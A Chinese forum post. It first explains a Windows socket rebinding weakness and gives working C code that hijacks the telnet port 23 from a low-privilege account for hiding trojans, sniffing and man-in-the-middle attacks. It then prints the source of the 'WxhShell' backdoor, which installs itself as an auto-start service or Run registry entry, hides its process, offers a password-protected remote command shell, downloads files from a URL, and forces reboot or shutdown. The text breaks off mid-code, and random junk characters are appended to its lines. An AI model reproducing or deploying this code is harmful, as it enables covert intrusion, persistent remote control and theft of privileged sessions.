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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,3u19>2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v<4zcMv  
Jo]g{GX[  
  saddr.sin_family = AF_INET; u5[Wr:  
ERplDSfO-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \W!<xE  
5T`39[Fya  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9'M({/7y  
qm@hD>W+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ` (<>`  
d"a`?+(Q  
  这意味着什么?意味着可以进行如下的攻击: 9UX-)!  
j^M@0o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S1JB]\  
ga1RMRu+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) EIAT*l:NW  
J u7AxTf~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @*dA<N.9  
FS[CUoA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >n/QKFvV5  
+H_Z!T.@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nS#;<p$\  
X8<ygci+.5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '1aOdEZA*  
0vEa]ljS  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;x"B ):?\  
1L ow[i  
  #include z$A5p4=B'^  
  #include r&w>+KIt  
  #include 6O?O6Ub  
  #include    @M-bE=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }|;n[+}  
  int main() }T6jQ:?@  
  { BDA\9m^3  
  WORD wVersionRequested; @ggM5mm  
  DWORD ret; F6 Ixu_s  
  WSADATA wsaData; .u)YZN0\  
  BOOL val; 5UqCRz<,R  
  SOCKADDR_IN saddr; Z|.. hZG  
  SOCKADDR_IN scaddr; y g7z?AZ  
  int err; =y ff.3mW\  
  SOCKET s; 4CqZvd C  
  SOCKET sc; 3ul  
  int caddsize; {^v50d  
  HANDLE mt; ^H>vJT  
  DWORD tid;   {k>m5L  
  wVersionRequested = MAKEWORD( 2, 2 ); 'ga@=;Wj  
  err = WSAStartup( wVersionRequested, &wsaData ); 59LIK&w  
  if ( err != 0 ) { ^,50]uX_  
  printf("error!WSAStartup failed!\n"); @/~41\=e  
  return -1; ,}<v:!  
  } }x+{=%~N  
  saddr.sin_family = AF_INET; &Jj ?C  
   &p*N8S8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 MTQdyTDHl  
p 7sYgz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r\yj$Gu>(  
  saddr.sin_port = htons(23); )pJzw-m"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?tBEB5  
  { |tmD`ndO  
  printf("error!socket failed!\n"); NWf!c-':  
  return -1; #nnP.t m  
  } @|M10r9E  
  val = TRUE; G$q=WM!%#s  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H7WKnn@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ( mycUU%  
  { RNPqW,B!0  
  printf("error!setsockopt failed!\n"); R8a xdV9(  
  return -1; q\ ?6-?Mr  
  } GXwV>)!x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <I} k%q'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mu*wX'.'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jjs-[g'}  
"<kmiK/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ks! G \<I  
  { btee;3`  
  ret=GetLastError(); .DT1Jvl  
  printf("error!bind failed!\n"); PR Y)hb;1  
  return -1; |_-FQ~Hf F  
  } &iuc4"'  
  listen(s,2); ,Ti#g8j  
  while(1) .NabK  
  { V&gUxS]*  
  caddsize = sizeof(scaddr); :Y"f .>  
  //接受连接请求 4ed( DSN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qsJo)SA  
  if(sc!=INVALID_SOCKET) KzhldMJ^zq  
  { @wB$qd;v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); % Dya-  
  if(mt==NULL) #<)u%)`  
  { EF}Z+7A  
  printf("Thread Creat Failed!\n"); X)Kd'6zg  
  break; -~jM=f$  
  } S\Q/ "Y  
  } g5H+2lSC  
  CloseHandle(mt); e+S%` Sg  
  } jA6:-Gz  
  closesocket(s); a7ZPV1k  
  WSACleanup(); kfn5y#6NZ  
  return 0; k;"=y )@o  
  }   Z_S~#[\7^]  
  DWORD WINAPI ClientThread(LPVOID lpParam) >RRb8=[J  
  { Rj-<tR{  
  SOCKET ss = (SOCKET)lpParam; ]NN9FM.2b/  
  SOCKET sc; gXG1w>  
  unsigned char buf[4096]; C8i}~x<  
  SOCKADDR_IN saddr; s`&8tP  
  long num; FFPO?y$  
  DWORD val; RTSg=    
  DWORD ret; O||M |  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I#m5Tl|#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .HMO7n6)8l  
  saddr.sin_family = AF_INET; :H6Ipa  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <V9L AWeS  
  saddr.sin_port = htons(23); 9Y~A2C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <s  $~h  
  { d!8`}L:=M  
  printf("error!socket failed!\n"); U<*ZY`B3  
  return -1; ;/$zBr`'  
  } z!eY=G'  
  val = 100; faThXq8B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S=2-<R  
  { fk9FR^u  
  ret = GetLastError(); 9"oc.ue.2D  
  return -1; Wl}d6ZTm  
  } ~c+0SuJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J v'$6[?  
  { z6$W@-Vd  
  ret = GetLastError(); [|e7oNT(Q  
  return -1; {p+7QlgK  
  } we!}"'E;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R9~%ORI#;  
  { nxCwg>  
  printf("error!socket connect failed!\n"); nRJcYl~ Y  
  closesocket(sc); YcT!`B   
  closesocket(ss); e!Y:UB2 7u  
  return -1; o`7Bvh2  
  } //Ck1cI#h  
  while(1) 0[ jy  
  { q B5cF_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7$k[cL1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,i e84o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7 i,}F|#8  
  num = recv(ss,buf,4096,0); sd xl@  
  if(num>0) IZoa7S&t  
  send(sc,buf,num,0); \5cAOBja  
  else if(num==0) ._Wm%'uX  
  break; XX#YiG4|J  
  num = recv(sc,buf,4096,0); pS;jrq I#  
  if(num>0) j-ZKEA{:1  
  send(ss,buf,num,0); I HgYgn  
  else if(num==0) 5Jlz$]f  
  break; tUH#%  
  } ~Qeyh^wo  
  closesocket(ss); kT t;3Ia  
  closesocket(sc); ~bhesWk8!  
  return 0 ; XTyJ*`>  
  } }hv>LL  
CQ9B;i`  
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========================================================== q0,Diouq  
7'k+/rAO  
下边附上一个代码,,WXhSHELL T]Pp\6ff  
ORD@+ {  
========================================================== " P c"{w  
%s6|w=.1  
#include "stdafx.h" !O~EIz  
.A//Q|ot!  
#include <stdio.h> <:fjWy  
#include <string.h> dnSjXyjFB  
#include <windows.h> Ni7~ Mjjt  
#include <winsock2.h> "WV]| TS"]  
#include <winsvc.h> q4C$-W%rj  
#include <urlmon.h> HNu/b)-Rb  
<p;cR` %uE  
#pragma comment (lib, "Ws2_32.lib") [/.o>R#J(  
#pragma comment (lib, "urlmon.lib") 9X/c%:)\=  
WgF Xv@Jjt  
#define MAX_USER   100 // 最大客户端连接数 T1.`*,t)=  
#define BUF_SOCK   200 // sock buffer u|z B\zd  
#define KEY_BUFF   255 // 输入 buffer Ox#%Dm2  
^&>(_I\w.6  
#define REBOOT     0   // 重启 UEbRg =6  
#define SHUTDOWN   1   // 关机 RBd{1on  
6lpfk&  
#define DEF_PORT   5000 // 监听端口 ;9MsV.n  
OQIQ   
#define REG_LEN     16   // 注册表键长度 CA, &R <]  
#define SVC_LEN     80   // NT服务名长度 pn<M`,F~q  
x >hnH{~w  
// 从dll定义API +ffs{g{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %}t.+z(S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dcew`$SJp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -$yNJ5F`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8wKF.+_A  
gpB3\  
// wxhshell配置信息 Q&S\?cKe  
struct WSCFG { $y S7u  
  int ws_port;         // 监听端口 R s_bM@  
  char ws_passstr[REG_LEN]; // 口令 `VM@-;@w  
  int ws_autoins;       // 安装标记, 1=yes 0=no 481J=8H  
  char ws_regname[REG_LEN]; // 注册表键名 q{?Po;\D  
  char ws_svcname[REG_LEN]; // 服务名 }@>=,A4Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7vax[,a I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t`1E4$Bb\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C%}}~Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gh>'O/9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <1cYz\/ !M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *J&XM[t  
ZbD_AP  
}; r PWn  
^dj avJ  
// default Wxhshell configuration O+~.p  
struct WSCFG wscfg={DEF_PORT, xcz[w}{eEq  
    "xuhuanlingzhe", , g\%P5  
    1, D^V0kC p!F  
    "Wxhshell", _7Z|=)  
    "Wxhshell", xFvDKW)_X7  
            "WxhShell Service", 7m3|2Qv  
    "Wrsky Windows CmdShell Service", T>,3V:X  
    "Please Input Your Password: ", s_xWvx8?4.  
  1, _PUgK\  
  "http://www.wrsky.com/wxhshell.exe", P0WI QG+  
  "Wxhshell.exe" 1D159NLB  
    }; oju)8H1o#  
4 qMO@E_  
// 消息定义模块 IMjz#|c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #Ux*":  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %5.aC|^}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; huVw+vAA  
char *msg_ws_ext="\n\rExit."; .4P5tIn\  
char *msg_ws_end="\n\rQuit."; DdJ>1504  
char *msg_ws_boot="\n\rReboot..."; Wm!lWQu7  
char *msg_ws_poff="\n\rShutdown..."; RQiGKz5  
char *msg_ws_down="\n\rSave to "; }+";W)R  
/cM<  
char *msg_ws_err="\n\rErr!"; S?_/Po|  
char *msg_ws_ok="\n\rOK!"; *[K\_F?^h  
Ct2m l  
char ExeFile[MAX_PATH]; 8G@Ie  
int nUser = 0; ?\[2Po]n  
HANDLE handles[MAX_USER]; #'m&<g,  
int OsIsNt; } m5AO4:  
v%N/mL+5L  
SERVICE_STATUS       serviceStatus; :KY920/,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )*< =:  
$h"Ht2/ J  
// 函数声明 1|/P[!u  
int Install(void); W3K&C[f  
int Uninstall(void); qOOF]L9r%u  
int DownloadFile(char *sURL, SOCKET wsh); {hYH4a&Hb  
int Boot(int flag); 4pNIsjl}  
void HideProc(void); 1UG5Q-  
int GetOsVer(void); p4mlS  
int Wxhshell(SOCKET wsl); -XNjyXm2  
void TalkWithClient(void *cs); {KkP"j'7h  
int CmdShell(SOCKET sock); V}<Hx3!  
int StartFromService(void); P>q"P1&{  
int StartWxhshell(LPSTR lpCmdLine);  "";[U  
W+N9~.q\^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #lDf8G|ST~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z +%Uwj  
4wfT8CL  
// 数据结构和表定义 /'vCO |?L  
SERVICE_TABLE_ENTRY DispatchTable[] = uFxhr2 <z  
{ "]*16t%Z%x  
{wscfg.ws_svcname, NTServiceMain}, 2E]SKpJ  
{NULL, NULL} EAiE@r>4  
}; sbnNk(XINQ  
Y JzKE7%CO  
// 自我安装 M-> /vi  
int Install(void) ={_.}   
{ ND);7  
  char svExeFile[MAX_PATH]; Np$peT[  
  HKEY key; 7)iB6RB K  
  strcpy(svExeFile,ExeFile); &.XYI3Ab1  
zdY+?s)p  
// 如果是win9x系统,修改注册表设为自启动 0a<:.}  
if(!OsIsNt) { MLD-uI10{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `U:W(\L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N$u;Q(^  
  RegCloseKey(key); 'nH/Z 84  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (Uk1Rt*h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1e=<df  
  RegCloseKey(key); wkSIQL  
  return 0; |.kYomJ   
    } g )H>Uu5@  
  } Q.SLiI  
} rHhn)m  
else { ] Tc!=SV  
:W]IJ mI\  
// 如果是NT以上系统,安装为系统服务 HzADz%~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \;w$"@9  
if (schSCManager!=0) ^H]q[XFR  
{ F3k]*pk8w  
  SC_HANDLE schService = CreateService d) V"tSC,  
  ( NyHHK8>  
  schSCManager, Z:F5cXt<  
  wscfg.ws_svcname, %C&HR2  
  wscfg.ws_svcdisp, 2Eq?^ )s  
  SERVICE_ALL_ACCESS, ];@"-H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |a!AgvNF  
  SERVICE_AUTO_START, P_:A%T  
  SERVICE_ERROR_NORMAL, l!Bc0  
  svExeFile, Z.9 ?u;  
  NULL, aDJ\%  
  NULL, lgR;V]^YX  
  NULL, }` &an$Mu  
  NULL, wPhN_XV  
  NULL ym*,X@Qg^  
  ); (#zSVtZ  
  if (schService!=0) Rx';P/F0C  
  { 3&*_5<t\X  
  CloseServiceHandle(schService); f"^G\  
  CloseServiceHandle(schSCManager); ?$ rSbw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w-~u[c  
  strcat(svExeFile,wscfg.ws_svcname); z'cK,psq(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I'"b3]DXG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]-  
  RegCloseKey(key); S@Rw+#QE  
  return 0; -w8c;5X  
    } 8Lm}x_  
  } 8 1Ar.<  
  CloseServiceHandle(schSCManager); AGwFD  
} lZyxJDZ A  
} t- Rp_2t  
?Bg<74  
return 1; y\}39Z(]  
} REd"}zDI  
?QzA;8H  
// 自我卸载 Z#8O)GK  
int Uninstall(void) z$'_ =9yZ  
{ ZY%]F,Y  
  HKEY key; ,,*i!%Adw  
4]\ f}  
if(!OsIsNt) { XhF7%KR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j\V9o9D  
  RegDeleteValue(key,wscfg.ws_regname); gQpF(P  
  RegCloseKey(key); dWC[p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7|~j=,HU+Z  
  RegDeleteValue(key,wscfg.ws_regname); 3:q\]]]S  
  RegCloseKey(key); %m8;Lh- X  
  return 0; >s\j/yM  
  } KEfn$\  
} 5o2W[<%v  
} TF)OBN~/  
else { &?.k-:iN  
h/9{E:ML  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4J lB\8rc  
if (schSCManager!=0) l.tNq$3pS  
{ 6mH0|:CsY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7nh,j <~;2  
  if (schService!=0) ] i;xeo,  
  { ! E\xn^  
  if(DeleteService(schService)!=0) {  ;d"F'd  
  CloseServiceHandle(schService); P#`Mg@.  
  CloseServiceHandle(schSCManager); rh;@|/<l  
  return 0; 8"2 Y$*)(  
  } G]q1_q4P1?  
  CloseServiceHandle(schService); W/dl`UDY  
  } <OG rC .k}  
  CloseServiceHandle(schSCManager); }*+?1kv  
} 'B;aXy/JC  
} I?sA)!8  
2{t i])  
return 1; U1&pcwP  
} 'jv[Gcss3L  
eT??F  
// 从指定url下载文件 vB0O3]  
int DownloadFile(char *sURL, SOCKET wsh) 'qRK6}"T  
{ >UTAk  
  HRESULT hr; @^Tof5?F?  
char seps[]= "/"; l#8SlRji  
char *token; 0Xmp)_vba  
char *file; !2dA8b  
char myURL[MAX_PATH]; a}N m;5K  
char myFILE[MAX_PATH]; u!in>]^  
79:Wo>C3-  
strcpy(myURL,sURL); mmC&xZ5f  
  token=strtok(myURL,seps); YmP`Gg#> p  
  while(token!=NULL) 3JuWG\r)l  
  { dQfVdqg  
    file=token; 1(V>8}zn  
  token=strtok(NULL,seps); B7"/K]dR:  
  } ?`+46U%  
P.bBu  
GetCurrentDirectory(MAX_PATH,myFILE); cnm&o C 6  
strcat(myFILE, "\\"); :Mz$~o<  
strcat(myFILE, file); S1Q2<<[  
  send(wsh,myFILE,strlen(myFILE),0); )+]8T6~ N  
send(wsh,"...",3,0); q$vATT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S4RvWTtQV  
  if(hr==S_OK) m&)5QX  
return 0; F.P4c:GD  
else !;'. mMO&%  
return 1; r&AX  
=2HR+  
} & [)1LRt_  
_%G)Uz{3  
// 系统电源模块 + QcgLq  
int Boot(int flag) HJl$v#]#+  
{ T( @y#09  
  HANDLE hToken; y74Ph:^ k  
  TOKEN_PRIVILEGES tkp; b>|3?G  
e(/~;"r{  
  if(OsIsNt) { l"%|VWZ{iq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -^=sxi,V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  j{,3!  
    tkp.PrivilegeCount = 1; oY@4G)5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9z9z:PU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >Lo 0,b$  
if(flag==REBOOT) { 8>.l4:`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jg8j>" Vj>  
  return 0; 7Mxw0 J  
} _RG!lmJV  
else { eto3dJ!R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9g3J{pKcZ  
  return 0; ~YO-GX(  
} /60 `"xH  
  } ^p#f B4z  
  else { fI"q/+  
if(flag==REBOOT) { sY__ak!>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uSSnr#i^j  
  return 0; iTTe`Zr5y  
} '0_Z:\ laU  
else { d#:&Uw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T.kmoLlH  
  return 0; `+17 x<N  
} S -j<O&h~C  
} .uzg2Kd_  
]_NN,m>z  
return 1; "oZ]/(  
} %FnaS u  
m%ZJp7C  
// win9x进程隐藏模块 J_tj9+r^  
void HideProc(void) D*+uH;ws  
{ D$g|f[l  
Y%9S4be  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4HlOv % 8  
  if ( hKernel != NULL ) =G9%Hz5~:  
  { a~YFJAkg9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Dt,b\6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0;z-I"N  
    FreeLibrary(hKernel); yoTbIQ  
  } ?29zcuRaru  
@xR7>-$0p  
return; )e.Y"5My  
} v)@EK6Nty  
fr S1<+  
// 获取操作系统版本 <VV./W8e9  
int GetOsVer(void) xq_%|p}y  
{ hNB;29r~  
  OSVERSIONINFO winfo; .$b]rx7$ ~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e*_8B2da  
  GetVersionEx(&winfo); %+oWW5q7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dsP|j (y  
  return 1; |K?fVL  
  else `j*&F8}  
  return 0; Ko6 tp9G  
} Z qX  U  
K 1>.%m  
// 客户端句柄模块 %]%.{W\j3  
int Wxhshell(SOCKET wsl) \&\_[y8U  
{ BQVpp,]  
  SOCKET wsh; Mw!?2G[|  
  struct sockaddr_in client; [ P\3XSR  
  DWORD myID; Eq zS={Olj  
J{' u  
  while(nUser<MAX_USER) 5VIpA  
{ |D)NP N&  
  int nSize=sizeof(client); 9 v)p0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ul~>eZ  
  if(wsh==INVALID_SOCKET) return 1; PT4Xr=z =  
lJ@2N$w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L%`~`3%n-  
if(handles[nUser]==0) jI@0jxF  
  closesocket(wsh); -e#YWMo(  
else B e+'&+  
  nUser++; {\22C `9t  
  } B]dHMLzl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \7Hzj0hSi  
ey<u  
  return 0; v'*  
} m`C(y$8fU  
V x1C4  
// 关闭 socket j &)Xi^^  
void CloseIt(SOCKET wsh) :P`sK&b_  
{ uyP)5,  
closesocket(wsh); 7uJy<O  
nUser--; kXS_:f;M  
ExitThread(0); GutH}Kz"&  
} yA*~O$~Y  
2|F.JG^  
// 客户端请求句柄 dT8m$}h9  
void TalkWithClient(void *cs) M= !Fb  
{ Mt)~:V+:  
8'J> @ uW  
  SOCKET wsh=(SOCKET)cs; Wq 7 c/ |  
  char pwd[SVC_LEN];  g#~jF  
  char cmd[KEY_BUFF]; +]H9:ARI  
char chr[1]; +U&aK dQs  
int i,j; ?H1I,]Di  
h!56?4,%Y  
  while (nUser < MAX_USER) { Gxv@a   
F.c`0u;=  
if(wscfg.ws_passstr) { bTZ/$7pp9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M $#zvcp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i+T#z  
  //ZeroMemory(pwd,KEY_BUFF); G T#hqt'1x  
      i=0; ,(Fo%.j  
  while(i<SVC_LEN) { #*q`/O5n  
P, !si#  
  // 设置超时 I9N?zmH  
  fd_set FdRead; =Z_\8qc  
  struct timeval TimeOut; L~A"%T,/h  
  FD_ZERO(&FdRead); T[>h6d  
  FD_SET(wsh,&FdRead); ,GXwi|Y  
  TimeOut.tv_sec=8; &H,5f#  
  TimeOut.tv_usec=0; q a#Fa)g*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6FG h=~{3,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t ),~w,7(J  
+Y(cs&V*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t3u"2B7oG  
  pwd=chr[0]; bO1J#bcZ  
  if(chr[0]==0xd || chr[0]==0xa) { raY5 nc{  
  pwd=0; S$\l M<M  
  break; owZj Q  
  } *#e%3N05_  
  i++; vn3<LQ]  
    } '#xxjhF^  
Rct|"k_"Ys  
  // 如果是非法用户,关闭 socket r~F T,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qi2yaEB  
} Xtbuy/8"1  
qu BTRW9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Lx,"jA/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l5Z=aW Q  
2NAGXWE  
while(1) { aUSxy8%  
!uLAW_~  
  ZeroMemory(cmd,KEY_BUFF); }!\NdQs  
E4[ |=<  
      // 自动支持客户端 telnet标准   Xhtc0\0"(  
  j=0; *c7kB}/  
  while(j<KEY_BUFF) { %]nY v#K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D|Wekhm  
  cmd[j]=chr[0]; ]B=B@UO@.  
  if(chr[0]==0xa || chr[0]==0xd) { 67%eAS  
  cmd[j]=0; |\@e  
  break; ?{%P9I  
  } meu\jg  
  j++; "RuJlp  
    } i;lzFu )G  
|vz< FR6  
  // 下载文件 _IOeO  
  if(strstr(cmd,"http://")) { &+6XdhX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \c/jp5=}  
  if(DownloadFile(cmd,wsh)) k#R}^Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }M?GqA=  
  else sY7:Lzs.,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z!G_" 3  
  } r J ?Y~Q  
  else { mm/U9hbp%  
I? dh"*Js&  
    switch(cmd[0]) { n|lXBCY7K  
  h'^7xDw  
  // 帮助 2/=CrK  
  case '?': { )`F? {Sg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /:>qhRFJA:  
    break; yxQxc5/X)  
  } #9EpQc[4  
  // 安装 O^G/(  
  case 'i': { l*uNi47|  
    if(Install()) qd~)Ya1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \.myLkm  
    else )XMSQ ="m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "6^tG[G%  
    break; tf|/_Y2  
    } flIdL,  
  // 卸载 iHr{ VQ  
  case 'r': { VF!?B>  
    if(Uninstall()) RO'MFU<g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZJsc?*@  
    else 4pV.R5:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tvP_LNMF  
    break; f"xi7vJv!f  
    } jIK *psaV  
  // 显示 wxhshell 所在路径 IGEf*!  
  case 'p': { Namw[Tg J  
    char svExeFile[MAX_PATH]; C>$5<bx  
    strcpy(svExeFile,"\n\r"); 8NudY3cU!  
      strcat(svExeFile,ExeFile); _ot4HmD  
        send(wsh,svExeFile,strlen(svExeFile),0); h|yv*1/|  
    break; G^p>fy~  
    } qWKpnofa  
  // 重启 v~q2D"  
  case 'b': { {,*G }/9<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;nji<  
    if(Boot(REBOOT)) !EF~I8d\]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); go m< V?$  
    else { Dk&cIZ43  
    closesocket(wsh); );@Dr!H  
    ExitThread(0); E:4`x_~qQ  
    } uTA /E9OY  
    break; F)j-D(c4  
    } Fj"g CBaR  
  // 关机 Y4 ){{bEp  
  case 'd': { A|CW4f,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5xwztcR-  
